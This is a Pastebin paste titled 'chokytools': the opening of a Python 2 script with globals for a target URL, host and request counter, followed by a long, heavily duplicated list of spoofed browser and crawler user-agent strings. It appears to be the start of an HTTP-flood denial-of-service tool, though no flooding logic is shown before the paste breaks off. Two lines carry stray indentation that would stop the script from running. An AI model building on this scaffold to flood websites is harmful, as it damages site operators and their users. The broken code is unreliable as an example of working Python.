API tools faq
paste
Advertisement
Guest User

chokytools

a guest
Apr 21st, 2019
1,554
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 59.15 KB | None | 0 0
raw download clone embed print report
  1. import urllib2
  2. import sys
  3. import threading
  4. import random
  5. import re
  6.  
  7. #global params
  8. url=''
  9. host=''
  10. headers_useragents=[]
  11. headers_referers=[]
  12. request_counter=0
  13. flag=0
  14. safe=0
  15.  
  16. def inc_counter():
  17.     global request_counter
  18.     request_counter+=1
  19.  
  20. def set_flag(val):
  21.     global flag
  22.     flag=val
  23.  
  24. def set_safe():
  25.     global safe
  26.     safe=1
  27.    
  28. # generates a user agent array
  29. def useragent_list():
  30.     global headers_useragents
  31.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) BlackHawk/1.0.195.0 Chrome/127.0.0.1 Safari/62439616.534')
  32.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  33.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  34.     headers_useragents.append('Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)')
  35.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0 IceDragon/26.0.0.2')
  36.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  37.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  38.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  39.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  40.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  41.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  42.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  43.     headers_useragents.append('agadine/1.x.x (+http://www.agada.de)')
  44.     headers_useragents.append('Agent-SharewarePlazaFileCheckBot/2.0+(+http://www.SharewarePlaza.com)')
  45.     headers_useragents.append('AgentName/0.1 libwww-perl/5.48')
  46.     headers_useragents.append('AIBOT/2.1 By +(www.21seek.com A Real artificial intelligence search engine China)')
  47.     headers_useragents.append('AideRSS/1.0 (aiderss.com)')
  48.     headers_useragents.append('aipbot/1.0 (aipbot; http://www.aipbot.com; aipbot@aipbot.com)')
  49.     headers_useragents.append('aipbot/2-beta (aipbot dev; http://aipbot.com; aipbot@aipbot.com)')
  50.     headers_useragents.append('Akregator/1.2.9; librss/remnants')
  51.     headers_useragents.append('Aladin/3.324')
  52.     headers_useragents.append('Alcatel-BG3/1.0 UP.Browser/5.0.3.1.2')
  53.     headers_useragents.append('Aleksika Spider/1.0 (+http://www.aleksika.com/)')
  54.     headers_useragents.append('AlertInfo 2.0 (Powered by Newsbrain)')
  55.     headers_useragents.append('AlkalineBOT/1.3')
  56.     headers_useragents.append('AlkalineBOT/1.4 (1.4.0326.0 RTM)')
  57.     headers_useragents.append('Allesklar/0.1 libwww-perl/5.46')
  58.     headers_useragents.append('Alligator 1.31 (www.nearsoftware.com)')
  59.     headers_useragents.append('Allrati/1.1 (+)')
  60.     headers_useragents.append('AltaVista Intranet V2.0 AVS EVAL search@freeit.com')
  61.     headers_useragents.append('AltaVista Intranet V2.0 Compaq Altavista Eval sveand@altavista.net')
  62.     headers_useragents.append('AltaVista Intranet V2.0 evreka.com crawler@evreka.com')
  63.     headers_useragents.append('AltaVista V2.0B crawler@evreka.com')
  64.     headers_useragents.append('amaya/x.xx libwww/x.x.x')
  65.     headers_useragents.append('AmfibiBOT')
  66.     headers_useragents.append('Amfibibot/0.06 (Amfibi Web Search; http://www.amfibi.com; agent@amfibi.com)')
  67.     headers_useragents.append('Amfibibot/0.07 (Amfibi Robot; http://www.amfibi.com; agent@amfibi.com)')
  68.     headers_useragents.append('amibot')
  69.     headers_useragents.append('Amiga-AWeb/3.4.167SE')
  70.     headers_useragents.append('AmigaVoyager/3.4.4 (MorphOS/PPC native)')
  71.     headers_useragents.append('AmiTCP Miami (AmigaOS 2.04)')
  72.     headers_useragents.append('Amoi 8512/R21.0 NF-Browser/3.3')
  73.     headers_useragents.append('amzn_assoc')
  74.     headers_useragents.append('AnnoMille spider 0.1 alpha - http://www.annomille.it')
  75.     headers_useragents.append('annotate_google; http://ponderer.org/download/annotate_google.user.js')
  76.     headers_useragents.append('Anonymized by ProxyOS: http://www.megaproxy.com')
  77.     headers_useragents.append('Anonymizer/1.1')
  78.     headers_useragents.append('AnswerBus (http://www.answerbus.com/)')
  79.     headers_useragents.append('AnswerChase PROve x.0')
  80.     headers_useragents.append('AnswerChase x.0')
  81.     headers_useragents.append('ANTFresco/x.xx')
  82.     headers_useragents.append('antibot-V1.1.5/i586-linux-2.2')
  83.     headers_useragents.append('AnzwersCrawl/2.0 (anzwerscrawl@anzwers.com.au;Engine)')
  84.     headers_useragents.append('Apexoo Spider 1.x')
  85.     headers_useragents.append('Aplix HTTP/1.0.1')
  86.     headers_useragents.append('Aplix_SANYO_browser/1.x (Japanese)')
  87.     headers_useragents.append('Aplix_SEGASATURN_browser/1.x (Japanese)')
  88.     headers_useragents.append('Aport')
  89.     headers_useragents.append('appie 1.1 (www.walhello.com)')
  90.     headers_useragents.append('Apple iPhone v1.1.4 CoreMedia v1.0.0.4A102')
  91.     headers_useragents.append('Apple-PubSub/65.1.1')
  92.     headers_useragents.append('ArabyBot (compatible; Mozilla/5.0; GoogleBot; FAST Crawler 6.4; http://www.araby.com;)')
  93.     headers_useragents.append('ArachBot')
  94.     headers_useragents.append('Arachnoidea (arachnoidea@euroseek.com)')
  95.     headers_useragents.append('aranhabot')
  96.     headers_useragents.append('ArchitextSpider')
  97.     headers_useragents.append('archive.org_bot')
  98.     headers_useragents.append('Argus/1.1 (Nutch; http://www.simpy.com/bot.html; feedback at simpy dot com)')
  99.     headers_useragents.append('Arikus_Spider')
  100.     headers_useragents.append('Arquivo-web-crawler (compatible; heritrix/1.12.1 +http://arquivo-web.fccn.pt)')
  101.     headers_useragents.append('ASAHA Search Engine Turkey V.001 (http://www.asaha.com/)')
  102.     headers_useragents.append('Asahina-Antenna/1.x')
  103.     headers_useragents.append('Asahina-Antenna/1.x (libhina.pl/x.x ; libtime.pl/x.x)')
  104.     headers_useragents.append('ask.24x.info')
  105.     headers_useragents.append('AskAboutOil/0.06-rcp (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@askaboutoil.com)')
  106.     headers_useragents.append('asked/Nutch-0.8 (web crawler; http://asked.jp; epicurus at gmail dot com)')
  107.     headers_useragents.append('ASPSeek/1.2.5')
  108.     headers_useragents.append('ASPseek/1.2.9d')
  109.     headers_useragents.append('ASPSeek/1.2.x')
  110.     headers_useragents.append('ASPSeek/1.2.xa')
  111.     headers_useragents.append('ASPseek/1.2.xx')
  112.     headers_useragents.append('ASPSeek/1.2.xxpre')
  113.     headers_useragents.append('ASSORT/0.10')
  114.     headers_useragents.append('asterias/2.0')
  115.     headers_useragents.append('AtlocalBot/1.1 +(http://www.atlocal.com/local-web-site-owner.html)')
  116.     headers_useragents.append('Atomic_Email_Hunter/4.0')
  117.     headers_useragents.append('Atomz/1.0')
  118.     headers_useragents.append('atSpider/1.0')
  119.     headers_useragents.append('Attentio/Nutch-0.9-dev (Attentios beta blog crawler; www.attentio.com; info@attentio.com)')
  120.     headers_useragents.append('AU-MIC/2.0 MMP/2.0')
  121.     headers_useragents.append('AUDIOVOX-SMT5600')
  122.     headers_useragents.append('augurfind')
  123.     headers_useragents.append('augurnfind V-1.x')
  124.     headers_useragents.append('autoemailspider')
  125.     headers_useragents.append('autohttp')
  126.     headers_useragents.append('autowebdir 1.1 (www.autowebdir.com)')
  127.     headers_useragents.append('AV Fetch 1.0')
  128.     headers_useragents.append('Avant Browser (http://www.avantbrowser.com)')
  129.     headers_useragents.append('AVSearch-1.0(peter.turney@nrc.ca)')
  130.     headers_useragents.append('AVSearch-2.0-fusionIdx-14-CompetitorWebSites')
  131.     headers_useragents.append('AVSearch-3.0(AltaVista/AVC)')
  132.     headers_useragents.append('AWeb')
  133.     headers_useragents.append('axadine/ (Axadine Crawler; http://www.axada.de/; )')
  134.     headers_useragents.append('AxmoRobot - Crawling your site for better indexing on www.axmo.com search engine.')
  135.     headers_useragents.append('Azureus 2.x.x.x')
  136.     headers_useragents.append('BabalooSpider/1.3 (BabalooSpider; http://www.babaloo.si; spider@babaloo.si)')
  137.     headers_useragents.append('BaboomBot/1.x.x (+http://www.baboom.us)')
  138.     headers_useragents.append('BackStreet Browser 3.x')
  139.     headers_useragents.append('BaiduImagespider+(+http://www.baidu.jp/search/s308.html)')
  140.     headers_useragents.append('BaiDuSpider')
  141.     headers_useragents.append('Baiduspider+(+http://help.baidu.jp/system/05.html)')
  142.     headers_useragents.append('Baiduspider+(+http://www.baidu.com/search/spider.htm)')
  143.     headers_useragents.append('Baiduspider+(+http://www.baidu.com/search/spider_jp.html)')
  144.     headers_useragents.append('Balihoo/Nutch-1.0-dev (Crawler for Balihoo.com search engine - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com)')
  145.     headers_useragents.append('BanBots/1.2 (spider@banbots.com)')
  146.     headers_useragents.append('Barca/2.0.xxxx')
  147.         headers_useragents.append('(DreamPassport/3.0; isao/MyDiGiRabi)')
  148.     headers_useragents.append('(Privoxy/1.0)')
  149.     headers_useragents.append('*/Nutch-0.9-dev')
  150.     headers_useragents.append('+SitiDi.net/SitiDiBot/1.0 (+Have Good Day)')
  151.     headers_useragents.append('-DIE-KRAEHE- META-SEARCH-ENGINE/1.1 http://www.die-kraehe.de')
  152.     headers_useragents.append('123spider-Bot (Version: 1.02) powered by www.123spider.de')
  153.     headers_useragents.append('192.comAgent')
  154.     headers_useragents.append('1st ZipCommander (Net) - http://www.zipcommander.com/')
  155.     headers_useragents.append('2Bone_LinkChecker/1.0 libwww-perl/5.64')
  156.     headers_useragents.append('4anything.com LinkChecker v2.0')
  157.     headers_useragents.append('8484 Boston Project v 1.0')
  158.     headers_useragents.append(':robot/1.0 (linux) ( admin e-mail: undefined http://www.neofonie.de/loesungen/search/robot.html )')
  159.     headers_useragents.append('A-Online Search')
  160.     headers_useragents.append('A1 Keyword Research/1.0.2 (+http://www.micro-sys.dk/products/keyword-research/) miggibot/2007.03.27')
  161.     headers_useragents.append('A1 Sitemap Generator/1.0 (+http://www.micro-sys.dk/products/sitemap-generator/) miggibot/2006.01.24')
  162.     headers_useragents.append('AbachoBOT')
  163.     headers_useragents.append('AbachoBOT (Mozilla compatible)')
  164.     headers_useragents.append('ABCdatos BotLink/5.xx.xxx#BBL')
  165.     headers_useragents.append('Aberja Checkomat     Aberja Hybridsuchmaschine (Germany)')
  166.     headers_useragents.append('abot/0.1 (abot; http://www.abot.com; abot@abot.com)')
  167.     headers_useragents.append('About/0.1libwww-perl/5.47')
  168.     headers_useragents.append('Accelatech RSSCrawler/0.4')
  169.     headers_useragents.append('accoona  Accoona Search robot')
  170.     headers_useragents.append('Accoona-AI-Agent/1.1.1 (crawler at accoona dot com)')
  171.     headers_useragents.append('Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)')
  172.     headers_useragents.append('Ace Explorer')
  173.     headers_useragents.append('Ack (http://www.ackerm.com/)')
  174.     headers_useragents.append('AcoiRobot')
  175.     headers_useragents.append('Acoon Robot v1.50.001')
  176.     headers_useragents.append('Acoon Robot v1.52 (http://www.acoon.de)')
  177.     headers_useragents.append('Acoon-Robot 4.0.x.[xx] (http://www.acoon.de)')
  178.     headers_useragents.append('Acoon-Robot v3.xx (http://www.acoon.de and http://www.acoon.com)')
  179.     headers_useragents.append('Acorn/Nutch-0.9 (Non-Profit Search Engine; acorn.isara.org; acorn at isara dot org)')
  180.     headers_useragents.append('ActiveBookmark 1.x')
  181.     headers_useragents.append('Activeworlds')
  182.     headers_useragents.append('ActiveWorlds/3.xx (xxx)')
  183.     headers_useragents.append('Ad Muncher v4.xx.x')
  184.     headers_useragents.append('Ad Muncher v4x Build xxxxx')
  185.     headers_useragents.append('Adaxas Spider (http://www.adaxas.net/)')
  186.     headers_useragents.append('Advanced Browser (http://www.avantbrowser.com)')
  187.     headers_useragents.append('AESOP_com_SpiderMan')
  188.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) BlackHawk/1.0.195.0 Chrome/127.0.0.1 Safari/62439616.534')
  189.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  190.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  191.     headers_useragents.append('Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)')
  192.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0 IceDragon/26.0.0.2')
  193.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  194.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  195.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  196.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  197.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  198.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  199.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  200.     headers_useragents.append('(DreamPassport/3.0; isao/MyDiGiRabi)')
  201.     headers_useragents.append('(Privoxy/1.0)')
  202.     headers_useragents.append('*/Nutch-0.9-dev')
  203.     headers_useragents.append('+SitiDi.net/SitiDiBot/1.0 (+Have Good Day)')
  204.     headers_useragents.append('-DIE-KRAEHE- META-SEARCH-ENGINE/1.1 http://www.die-kraehe.de')
  205.     headers_useragents.append('123spider-Bot (Version: 1.02) powered by www.123spider.de')
  206.     headers_useragents.append('192.comAgent')
  207.     headers_useragents.append('1st ZipCommander (Net) - http://www.zipcommander.com/')
  208.     headers_useragents.append('2Bone_LinkChecker/1.0 libwww-perl/5.64')
  209.     headers_useragents.append('4anything.com LinkChecker v2.0')
  210.     headers_useragents.append('8484 Boston Project v 1.0')
  211.     headers_useragents.append(':robot/1.0 (linux) ( admin e-mail: undefined http://www.neofonie.de/loesungen/search/robot.html )')
  212.     headers_useragents.append('A-Online Search')
  213.     headers_useragents.append('A1 Keyword Research/1.0.2 (+http://www.micro-sys.dk/products/keyword-research/) miggibot/2007.03.27')
  214.     headers_useragents.append('A1 Sitemap Generator/1.0 (+http://www.micro-sys.dk/products/sitemap-generator/) miggibot/2006.01.24')
  215.     headers_useragents.append('AbachoBOT')
  216.     headers_useragents.append('AbachoBOT (Mozilla compatible)')
  217.     headers_useragents.append('ABCdatos BotLink/5.xx.xxx#BBL')
  218.     headers_useragents.append('Aberja Checkomat     Aberja Hybridsuchmaschine (Germany)')
  219.     headers_useragents.append('abot/0.1 (abot; http://www.abot.com; abot@abot.com)')
  220.     headers_useragents.append('About/0.1libwww-perl/5.47')
  221.     headers_useragents.append('Accelatech RSSCrawler/0.4')
  222.     headers_useragents.append('accoona  Accoona Search robot')
  223.     headers_useragents.append('Accoona-AI-Agent/1.1.1 (crawler at accoona dot com)')
  224.     headers_useragents.append('Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)')
  225.     headers_useragents.append('Ace Explorer')
  226.     headers_useragents.append('Ack (http://www.ackerm.com/)')
  227.     headers_useragents.append('AcoiRobot')
  228.     headers_useragents.append('Acoon Robot v1.50.001')
  229.     headers_useragents.append('Acoon Robot v1.52 (http://www.acoon.de)')
  230.     headers_useragents.append('Acoon-Robot 4.0.x.[xx] (http://www.acoon.de)')
  231.     headers_useragents.append('Acoon-Robot v3.xx (http://www.acoon.de and http://www.acoon.com)')
  232.     headers_useragents.append('Acorn/Nutch-0.9 (Non-Profit Search Engine; acorn.isara.org; acorn at isara dot org)')
  233.     headers_useragents.append('ActiveBookmark 1.x')
  234.     headers_useragents.append('Activeworlds')
  235.     headers_useragents.append('ActiveWorlds/3.xx (xxx)')
  236.     headers_useragents.append('Ad Muncher v4.xx.x')
  237.     headers_useragents.append('Ad Muncher v4x Build xxxxx')
  238.     headers_useragents.append('Adaxas Spider (http://www.adaxas.net/)')
  239.     headers_useragents.append('Advanced Browser (http://www.avantbrowser.com)')
  240.     headers_useragents.append('AESOP_com_SpiderMan')
  241.     headers_useragents.append('agadine/1.x.x (+http://www.agada.de)')
  242.     headers_useragents.append('Agent-SharewarePlazaFileCheckBot/2.0+(+http://www.SharewarePlaza.com)')
  243.     headers_useragents.append('AgentName/0.1 libwww-perl/5.48')
  244.     headers_useragents.append('AIBOT/2.1 By +(www.21seek.com A Real artificial intelligence search engine China)')
  245.     headers_useragents.append('AideRSS/1.0 (aiderss.com)')
  246.     headers_useragents.append('aipbot/1.0 (aipbot; http://www.aipbot.com; aipbot@aipbot.com)')
  247.     headers_useragents.append('aipbot/2-beta (aipbot dev; http://aipbot.com; aipbot@aipbot.com)')
  248.     headers_useragents.append('Akregator/1.2.9; librss/remnants')
  249.     headers_useragents.append('Aladin/3.324')
  250.     headers_useragents.append('Alcatel-BG3/1.0 UP.Browser/5.0.3.1.2')
  251.     headers_useragents.append('Aleksika Spider/1.0 (+http://www.aleksika.com/)')
  252.     headers_useragents.append('AlertInfo 2.0 (Powered by Newsbrain)')
  253.     headers_useragents.append('AlkalineBOT/1.3')
  254.     headers_useragents.append('AlkalineBOT/1.4 (1.4.0326.0 RTM)')
  255.     headers_useragents.append('Allesklar/0.1 libwww-perl/5.46')
  256.     headers_useragents.append('Alligator 1.31 (www.nearsoftware.com)')
  257.     headers_useragents.append('Allrati/1.1 (+)')
  258.     headers_useragents.append('AltaVista Intranet V2.0 AVS EVAL search@freeit.com')
  259.     headers_useragents.append('AltaVista Intranet V2.0 Compaq Altavista Eval sveand@altavista.net')
  260.     headers_useragents.append('AltaVista Intranet V2.0 evreka.com crawler@evreka.com')
  261.     headers_useragents.append('AltaVista V2.0B crawler@evreka.com')
  262.     headers_useragents.append('amaya/x.xx libwww/x.x.x')
  263.     headers_useragents.append('AmfibiBOT')
  264.     headers_useragents.append('Amfibibot/0.06 (Amfibi Web Search; http://www.amfibi.com; agent@amfibi.com)')
  265.     headers_useragents.append('Amfibibot/0.07 (Amfibi Robot; http://www.amfibi.com; agent@amfibi.com)')
  266.     headers_useragents.append('amibot')
  267.     headers_useragents.append('Amiga-AWeb/3.4.167SE')
  268.     headers_useragents.append('AmigaVoyager/3.4.4 (MorphOS/PPC native)')
  269.     headers_useragents.append('AmiTCP Miami (AmigaOS 2.04)')
  270.     headers_useragents.append('Amoi 8512/R21.0 NF-Browser/3.3')
  271.     headers_useragents.append('amzn_assoc')
  272.     headers_useragents.append('AnnoMille spider 0.1 alpha - http://www.annomille.it')
  273.     headers_useragents.append('annotate_google; http://ponderer.org/download/annotate_google.user.js')
  274.     headers_useragents.append('Anonymized by ProxyOS: http://www.megaproxy.com')
  275.     headers_useragents.append('Anonymizer/1.1')
  276.     headers_useragents.append('AnswerBus (http://www.answerbus.com/)')
  277.     headers_useragents.append('AnswerChase PROve x.0')
  278.     headers_useragents.append('AnswerChase x.0')
  279.     headers_useragents.append('ANTFresco/x.xx')
  280.     headers_useragents.append('antibot-V1.1.5/i586-linux-2.2')
  281.     headers_useragents.append('AnzwersCrawl/2.0 (anzwerscrawl@anzwers.com.au;Engine)')
  282.     headers_useragents.append('Apexoo Spider 1.x')
  283.     headers_useragents.append('Aplix HTTP/1.0.1')
  284.     headers_useragents.append('Aplix_SANYO_browser/1.x (Japanese)')
  285.     headers_useragents.append('Aplix_SEGASATURN_browser/1.x (Japanese)')
  286.     headers_useragents.append('Aport')
  287.     headers_useragents.append('appie 1.1 (www.walhello.com)')
  288.     headers_useragents.append('Apple iPhone v1.1.4 CoreMedia v1.0.0.4A102')
  289.     headers_useragents.append('Apple-PubSub/65.1.1')
  290.     headers_useragents.append('ArabyBot (compatible; Mozilla/5.0; GoogleBot; FAST Crawler 6.4; http://www.araby.com;)')
  291.     headers_useragents.append('ArachBot')
  292.     headers_useragents.append('Arachnoidea (arachnoidea@euroseek.com)')
  293.     headers_useragents.append('aranhabot')
  294.     headers_useragents.append('ArchitextSpider')
  295.     headers_useragents.append('archive.org_bot')
  296.     headers_useragents.append('Argus/1.1 (Nutch; http://www.simpy.com/bot.html; feedback at simpy dot com)')
  297.     headers_useragents.append('Arikus_Spider')
  298.     headers_useragents.append('Arquivo-web-crawler (compatible; heritrix/1.12.1 +http://arquivo-web.fccn.pt)')
  299.     headers_useragents.append('ASAHA Search Engine Turkey V.001 (http://www.asaha.com/)')
  300.     headers_useragents.append('Asahina-Antenna/1.x')
  301.     headers_useragents.append('Asahina-Antenna/1.x (libhina.pl/x.x ; libtime.pl/x.x)')
  302.     headers_useragents.append('ask.24x.info')
  303.     headers_useragents.append('AskAboutOil/0.06-rcp (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@askaboutoil.com)')
  304.     headers_useragents.append('asked/Nutch-0.8 (web crawler; http://asked.jp; epicurus at gmail dot com)')
  305.     headers_useragents.append('ASPSeek/1.2.5')
  306.     headers_useragents.append('ASPseek/1.2.9d')
  307.     headers_useragents.append('ASPSeek/1.2.x')
  308.     headers_useragents.append('ASPSeek/1.2.xa')
  309.     headers_useragents.append('ASPseek/1.2.xx')
  310.     headers_useragents.append('ASPSeek/1.2.xxpre')
  311.     headers_useragents.append('ASSORT/0.10')
  312.     headers_useragents.append('asterias/2.0')
  313.     headers_useragents.append('AtlocalBot/1.1 +(http://www.atlocal.com/local-web-site-owner.html)')
  314.     headers_useragents.append('Atomic_Email_Hunter/4.0')
  315.     headers_useragents.append('Atomz/1.0')
  316.     headers_useragents.append('atSpider/1.0')
  317.     headers_useragents.append('Attentio/Nutch-0.9-dev (Attentios beta blog crawler; www.attentio.com; info@attentio.com)')
  318.     headers_useragents.append('AU-MIC/2.0 MMP/2.0')
  319.     headers_useragents.append('AUDIOVOX-SMT5600')
  320.     headers_useragents.append('augurfind')
  321.     headers_useragents.append('augurnfind V-1.x')
  322.     headers_useragents.append('autoemailspider')
  323.     headers_useragents.append('autohttp')
  324.     headers_useragents.append('autowebdir 1.1 (www.autowebdir.com)')
  325.     headers_useragents.append('AV Fetch 1.0')
  326.     headers_useragents.append('Avant Browser (http://www.avantbrowser.com)')
  327.     headers_useragents.append('AVSearch-1.0(peter.turney@nrc.ca)')
  328.     headers_useragents.append('AVSearch-2.0-fusionIdx-14-CompetitorWebSites')
  329.     headers_useragents.append('AVSearch-3.0(AltaVista/AVC)')
  330.     headers_useragents.append('AWeb')
  331.     headers_useragents.append('axadine/ (Axadine Crawler; http://www.axada.de/; )')
  332.     headers_useragents.append('AxmoRobot - Crawling your site for better indexing on www.axmo.com search engine.')
  333.     headers_useragents.append('Azureus 2.x.x.x')
  334.     headers_useragents.append('BabalooSpider/1.3 (BabalooSpider; http://www.babaloo.si; spider@babaloo.si)')
  335.     headers_useragents.append('BaboomBot/1.x.x (+http://www.baboom.us)')
  336.     headers_useragents.append('BackStreet Browser 3.x')
  337.     headers_useragents.append('BaiduImagespider+(+http://www.baidu.jp/search/s308.html)')
  338.     headers_useragents.append('BaiDuSpider')
  339.     headers_useragents.append('Baiduspider+(+http://help.baidu.jp/system/05.html)')
  340.     headers_useragents.append('Baiduspider+(+http://www.baidu.com/search/spider.htm)')
  341.     headers_useragents.append('Baiduspider+(+http://www.baidu.com/search/spider_jp.html)')
  342.     headers_useragents.append('Balihoo/Nutch-1.0-dev (Crawler for Balihoo.com search engine - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com)')
  343.     headers_useragents.append('BanBots/1.2 (spider@banbots.com)')
  344.     headers_useragents.append('Barca/2.0.xxxx')
  345.     headers_useragents.append('BarcaPro/1.4.xxxx')
  346.     headers_useragents.append('BarraHomeCrawler (albertof@barrahome.org)')
  347.     headers_useragents.append('bCentral Billing Post-Process')
  348.     headers_useragents.append('bdcindexer_2.6.2 (research@bdc)')
  349.     headers_useragents.append('BDFetch')
  350.     headers_useragents.append('BDNcentral Crawler v2.3 [en] (http://www.bdncentral.com/robot.html) (X11; I; Linux 2.0.44 i686)')
  351.     headers_useragents.append('BeamMachine/0.5 (dead link remover of www.beammachine.net)')
  352.     headers_useragents.append('beautybot/1.0 (+http://www.uchoose.de/crawler/beautybot/)')
  353.     headers_useragents.append('BebopBot/2.5.1 ( crawler http://www.apassion4jazz.net/bebopbot.html )')
  354.     headers_useragents.append('BeebwareDirectory/v0.01')
  355.     headers_useragents.append('Big Brother (http://pauillac.inria.fr/~fpottier/)')
  356.     headers_useragents.append('Big Fish v1.0')
  357.     headers_useragents.append('BigBrother/1.6e')
  358.     headers_useragents.append('BigCliqueBOT/1.03-dev (bigclicbot; http://www.bigclique.com; bot@bigclique.com)')
  359.     headers_useragents.append('BIGLOTRON (Beta 2;GNU/Linux)')
  360.     headers_useragents.append('Bigsearch.ca/Nutch-x.x-dev (Bigsearch.ca Internet Spider; http://www.bigsearch.ca/; info@enhancededge.com)')
  361.     headers_useragents.append('Bilbo/2.3b-UNIX')
  362.     headers_useragents.append('BilgiBetaBot/0.8-dev (bilgi.com (Beta) ; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)')
  363.     headers_useragents.append('BilgiBot/1.0(beta) (http://www.bilgi.com/; bilgi at bilgi dot com)')
  364.     headers_useragents.append('billbot wjj@cs.cmu.edu')
  365.     headers_useragents.append('Bitacle bot/1.1')
  366.     headers_useragents.append('Bitacle Robot (V:1.0;) (http://www.bitacle.com)')
  367.     headers_useragents.append('Biyubi/x.x (Sistema Fenix; G11; Familia Toledo; es-mx)')
  368.     headers_useragents.append('BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/5.0.3.3 UP.Link/5.1.2.12 (Google WAP Proxy/1.0)')
  369.     headers_useragents.append('BlackWidow')
  370.     headers_useragents.append('BlackWidow')
  371.     headers_useragents.append('Blaiz-Bee/1.0 (+http://www.blaiz.net)')
  372.     headers_useragents.append('Blaiz-Bee/2.00.8222 (BE Internet Search Engine http://www.rawgrunt.com)')
  373.     headers_useragents.append('Blaiz-Bee/2.00.xxxx (+http://www.blaiz.net)')
  374.     headers_useragents.append('BlitzBOT@tricus.net')
  375.     headers_useragents.append('BlitzBOT@tricus.net (Mozilla compatible)')
  376.     headers_useragents.append('BlockNote.Net')
  377.     headers_useragents.append('BlogBot/1.x')
  378.     headers_useragents.append('BlogBridge 2.13 (http://www.blogbridge.com/)')
  379.     headers_useragents.append('Bloglines Title Fetch/1.0 (http://www.bloglines.com)')
  380.     headers_useragents.append('Bloglines-Images/0.1 (http://www.bloglines.com)')
  381.     headers_useragents.append('Bloglines/3.1 (http://www.bloglines.com)')
  382.     headers_useragents.append('BlogMap (http://www.feedmap.net)')
  383.     headers_useragents.append('Blogpulse (info@blogpulse.com)')
  384.     headers_useragents.append('BlogPulseLive (support@blogpulse.com)')
  385.     headers_useragents.append('BlogSearch/1.x +http://www.icerocket.com/')
  386.     headers_useragents.append('blogsearchbot-pumpkin-3')
  387.     headers_useragents.append('BlogsNowBot) V 2.01 (+http://www.blogsnow.com/)')
  388.     headers_useragents.append('BlogVibeBot-v1.1 (spider@blogvibe.nl)')
  389.     headers_useragents.append('blogWatcher_Spider/0.1 (http://www.lr.pi.titech.ac.jp/blogWatcher/)')
  390.     headers_useragents.append('BlogzIce/1.0 (+http://icerocket.com; rhodes@icerocket.com)')
  391.     headers_useragents.append('BlogzIce/1.0 +http://www.icerocket.com/')
  392.     headers_useragents.append('BloobyBot')
  393.     headers_useragents.append('Bloodhound/Nutch-0.9 (Testing Crawler for Research - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com)')
  394.     headers_useragents.append('bluefish 0.6 HTML editor')
  395.     headers_useragents.append('BMCLIENT')
  396.     headers_useragents.append('BMLAUNCHER')
  397.     headers_useragents.append('Bobby/4.0.x RPT-HTTPClient/0.3-3E')
  398.     headers_useragents.append('boitho.com-dc/0.xx (http://www.boitho.com/dcbot.html)')
  399.     headers_useragents.append('boitho.com-robot/1.x')
